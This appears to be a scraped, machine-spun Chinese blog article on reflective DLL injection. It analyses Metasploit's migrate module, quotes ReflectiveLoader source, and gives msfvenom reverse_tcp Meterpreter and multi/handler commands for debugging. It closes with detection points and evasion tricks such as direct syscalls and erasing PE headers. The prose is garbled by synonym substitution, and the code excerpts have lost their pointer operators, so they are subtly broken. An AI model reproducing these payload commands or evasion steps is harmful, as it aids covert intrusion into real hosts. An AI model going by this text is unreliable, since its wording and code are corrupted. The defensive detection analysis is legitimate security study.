首页 » SEO优化 » phppthreaddll技巧_WEB安然深入反射式dll注入技能

phppthreaddll技巧_WEB安然深入反射式dll注入技能

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

常规的dll注入技能利用LoadLibraryA()函数来使被注入进程加载指定的dll。
常规dll注入的办法一个致命的毛病是须要恶意的dll以文件的形式存储在受害者主机上。
这样使得常规dll注入技能在受害者主机上留下痕迹较大,很随意马虎被edr等安全产品检测到。
为了填补这个毛病,stephen fewer提出了反射式dll注入技能并在github开源,反射式dll注入技能的上风在于可以使得恶意的dll通过socket等办法直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。

本文将从dll注入技能简介、msf migrate模块阐发、检测思路和攻防对抗的思考等方向展开解释反射式dll注入技能。

phppthreaddll技巧_WEB安然深入反射式dll注入技能

二、dll注入技能简介2.1 常规dll注入技能

常规dll注入有:

phppthreaddll技巧_WEB安然深入反射式dll注入技能
(图片来自网络侵删)
通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
通过调用QueueUserAPC()/SetThreadContext()函数来挟制被注入进程已存在的线程加载dll。
通过调用SetWindowsHookEx()函数来设置拦截事宜,在发生对应的事宜时,被注入进程实行拦截事宜函数加载dll。

以利用CreateRemoteThread()函数进行dll注入的办法为例,实现思路如下:

获取被注入进程PID。
在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
利用openOpenProcess()函数获取被注入进程句柄。
利用VirtualAllocEx()函数在被注入进程内开辟缓冲区并利用WriteProcessMemory()函数写入DLL路径的字符串。
利用GetProcAddress()函数在当提高程加载的kernel32.dll找到LoadLibraryA函数的地址。
通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。

常规dll注入示意图如上图所示。
该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。

【一>所有资源关注我,私信回答“资料”获取<一】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记

2.2 反射式dll注入技能

反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技能自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。
蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。

Reflective loader实现思路如下:

得到被注入进程未解析的dll的基地址,即下图第7步所指的dll。
得到必要的dll句柄和函数为修复导入表做准备。
分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中。
修复导入表和重定向表。
实行DllMain()函数。

三、Msf migrate模块阐发

msf的migrate模块是post阶段的一个模块,其浸染是将meterpreter payload从当提高程迁移到指定进程。

在得到meterpreter session后可以直策应用migrate命令迁移进程,厥后果如下图所示:

migrate的模块的实现和stephen fewer的ReflectiveDLLInjection项目大致相同,增加了一些细节,实在现事理如下:

读取metsrv.dll(metpreter payload模板dll)文件到内存中。
天生终极的payload。
a) msf天生一小段汇编migrate stub紧张用于建立socket连接。
b) 将metsrv.dll的dos头修正为一小段汇编meterpreter_loader紧张用于调用reflective loader函数和dllmain函数。
在metsrv.dll的config block区添补meterpreter建立session时的配置信息。
c) 末了将migrate stub和修正后的metsrv.dll拼接在一起天生终极的payload。
向msf server发送migrate要乞降payload。
msf向迁移目标进程分配一块内存并写入payload。
msf首先会创建的远程线程实行migrate stub,如果失落败了,就会考试测验用apc注入的办法实行migrate stub。
migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
reflective loader进行反射式dll注入。
末了msf client和msf server建立一个新的session。

事理图如下所示:

图中赤色的线表示与常规反射式dll注入不同的地方。
赤色的添补表示修正内容,绿色的添补表示增加内容。
migrate模块的reflective loader是直接复用了stephen fewer的ReflectiveDLLInjection项目的ReflectiveLoader.c中的ReflectiveLoader()函数。
下面我们紧张关注reflective loader的行为。

3.1 静态剖析3.1.1 获取dll基地址

ReflectiveLoader()首先会调用caller()函数

uiLibraryAddress = caller();

caller()函数本色上是_ReturnAddress()函数的封装。
caller()函数的浸染是获取caller()函数的返回值,在这里也便是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。

#ifdef __MINGW32__#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))#else#pragma intrinsic(_ReturnAddress)#define WIN_GET_CALLER() _ReturnAddress()#endif__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字节比较是否为为dos头的标识MZ字串,若当前地址的内容为MZ字串,则把当前地址认为是dos头构造体的开头,并校验dos头e_lfanew构造成员是否指向pe头的标识”PE”字串。
若校验通过,则认为当前地址是精确的dos头构造体的开头。

while( TRUE ){//将当前地址当成dos头构造,此构造的e_magic成员变量是否指向MZ子串if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) {uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ){uiHeaderValue += uiLibraryAddress;//判断e_lfanew构造成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )break;}}uiLibraryAddress--;}3.1.2 获取必要的dll句柄和函数地址

获取必要的dll句柄是通过遍历peb构造体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称,之后算出dll名称的hash,最后进行hash比拟得到终极的hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;while( uiValueA ){uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;uiValueC = 0;ULONG_PTR tmpValC = uiValueC; //打算tmpValC所指向子串的hash值,并存储在uiValueC中....if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函数是遍历函数所在的dll导出表得到函数名称,然后做hash比拟得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );usCounter = 3;while( usCounter > 0 ){dwHashValue = _hash( (char )( uiBaseAddress + DEREF_32( uiNameArray ) ) );if( dwHashValue == LOADLIBRARYA_HASH//即是其他函数hash的情形 || ...){uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( DEREF_16( uiNameOrdinals ) sizeof(DWORD) );if( dwHashValue == LOADLIBRARYA_HASH )pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );//即是其他函数hash的情形 ...usCounter--;}uiNameArray += sizeof(DWORD);uiNameOrdinals += sizeof(WORD);}}3.1.3 将dll映射到新内存

Nt optional header构造体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。
以是ReflectiveLoader()获取到SizeOfImage的大小,分配一块新内存,然后按照section headers构造中的文件相对偏移和相对虚拟地址,将pe节逐一映射到新内存中。

//分配SizeOfImage的新内存uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );...uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;uiValueB = uiLibraryAddress;uiValueC = uiBaseAddress;//将所有头和节表逐字节复制到新内存while( uiValueA-- )(BYTE )uiValueC++ = (BYTE )uiValueB++;//解析每一个节表项uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;while( uiValueE-- ){uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;//将每一节的内容复制到新内存对应的位置 while( uiValueD-- )(BYTE )uiValueB++ = (BYTE )uiValueC++;uiValueA += sizeof( IMAGE_SECTION_HEADER );}3.1.4 修复导入表和重定位表

首先更具导入表构造,找到导入函数所在的dll名称,然后利用loadlibary()函数载入dll,根据函数序号或者函数名称,在载入的dll的导出表中,通过hash比拟,并把找出的函数地址写入到新内存的IAT表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );//当没有到达导入表末端时while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ){//利用LoadLibraryA()函数加载对应的dlluiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );...uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); //IAT表uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );while( DEREF(uiValueA) ){ //如果导入函数是通过函数编号导入if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ){//通过函数编号索勾引入函数所在dll的导出函数uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) sizeof(DWORD) ); //将对应的导入函数地址写入IAT表DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );}else{ //导入函数通过名称导入的uiValueB = ( uiBaseAddress + DEREF(uiValueA) );DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );}uiValueA += sizeof( ULONG_PTR );if( uiValueD )uiValueD += sizeof( ULONG_PTR );}uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );}

重定位表是为理解决程序指定的imagebase被占用的情形下,程序利用绝对地址导致访问缺点的情形。
一样平常来说,在引用全局变量的时候会用到绝对地址。
这时候就须要去改动对应内存的汇编指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];//如果重定向表的值不为0,则改动重定向节if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ){uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ){uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);//根据不同的标识,改动每一项对应地址的值 while( uiValueB-- ){if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )(ULONG_PTR )(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )(DWORD )(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )(WORD )(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )(WORD )(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);uiValueD += sizeof( IMAGE_RELOC );}uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;}}3.2 动态调试

本节一方面是演示如何实际的动态调试msf的migrate模块,另一方面也是3.1.1的一个补充,从汇编层次来看3.1.1节会更随意马虎理解。

首先用msfvenom天生payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并利用msfconsole设置监听

msf6 > use exploit/multi/handler[] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 0.0.0.0lhost => 0.0.0.0msf6 exploit(multi/handler) > exploit[] Started reverse TCP handler on 0.0.0.0:4444

之后在受害机利用windbg启动msf.exe并且

bu KERNEL32!CreateRemoteThread;g

得到被注入进程新线程实行的地址,以便调试被注入进程。

当建立session连接后,在msfconsole利用migrate命令

migrate 5600 //5600是要迁移的进程的pid

然后msf.exe在CreateRemoteThread函数断下,CreateRemoteThread函数原型如下

HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId);

以是我们要找第四个参数lpStartAddress的值,即r9寄存器的内容,

利用

!address 000001c160bb0000

去notepad进程验证一下,是可读可写的内存,基本上便是对的

此时的地址是migrate stub汇编代码的地址,我们期望直接断在reflective loader的函数地址,我们通过

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress,3200为我们获取到的内存块大小

直接去搜MZ字串定位到meterpreter loader汇编的地址,进而定位到reflective loader的函数地址

meterpreter loader将reflective loader函数的地址放到rbx中,以是我们可直接断在此处,进入reflective loader的函数,如下图所示

reflective loader首先call 000001c1`60bb5dc9也便是caller()函数,caller()函数的实现就比较大略了,一共两条汇编指令,起浸染便是返回下一条指令的地址

在这里也便是0x000001c160bb5e08

得到下一条指令后的地址后,就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较e_lfanew构造成员是否指向PE,若是则此时的地址作为dll的基地址。
后面调试过程不在赘述。

四、检测方法

反射式dll注入技能有很多种检测方法,如内存扫描、IOA等。
下面因此内存扫描为例,我想到的一些扫描策略和比较好的检测点。

扫描策略:

Hook敏感api,当发生敏感api调用序列时,对注入进程和被注入进程扫描内存。
跳过InMemoryOrderModuleList中的dll。

检测点多是跟reflective loader函数的行为有关,检测点如下:

强特色匹配_ReturnAddress()的函数。
Reflectiveloader函数定位dos头的前置操作便是调用调用_ReturnAddress()函数获得当前dll的一个地址。
扫描定位pe开头位置的代码逻辑。
详见3.1节,我们可以弱匹配此逻辑。
扫描特定的hash函数和hash值。
在dll注入过程中,须要许多dll句柄和函数地址,以是不得不该用hash比拟dll名称和函数名称。
我们可以匹配hash函数和这些分外的hash值。
从整体上检测dll注入。
在被注入进程实在是存在两份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。
我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。

深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技能。
检测结果如图所示:

五、攻防对抗的思考

对付标准的反射dll注入是有很多种检测办法的,紧张是作者没有刻意的做免杀,下面对于我搜集到了一些免杀办法,磋商一下其检测策略。

避免直接调用敏感api 。
例如不直接调用writeprocessmemory等函数,而是直接用syscall调用。
这种免杀办法只能绕过用户态的hook。
对付内核态hook可以解这个问题。
dll在内存中的rwx权限进行了去除,变成rx。
实在有好多粗暴的检测反射式dll注入的攻击办法,便是检测rwx权限的内存是否为pe文件。
擦除nt头和dos头。
这种免杀办法会直接让检测点4)影响较大,不能大略的校验pe头了,须要加入更精确的确定两个dll的文件,比如说,首先通过读取未解析的dll的SizeOfImage的大小,然后去找此大小的内存块,然后比拟代码段是否同等,去判断是否为同一pe文件。
抹除未解析pe文件的内存。
这种免杀办法会导致检测点4)彻底失落效,这种情形下我们只能对reflectiveloader()函数进行检测。
抹除reflectiveloader()函数的内存。
这里就比较难检测了。
但是也是有检测点的,这里关键是如何确定这块内存是pe构造,重修pe构造之后,我们可以通过导出表去看导出函数是否被抹除。
标签:

相关文章

PHP常量表技巧_PHP 常量详解教程

PHP 常量常量是单个值的标识符(名称)。在脚本中无法改变该值。有效的常量名以字符或下划线开头(常量名称前面没有 $ 符号)。注释...

SEO优化 2024-12-09 阅读0 评论0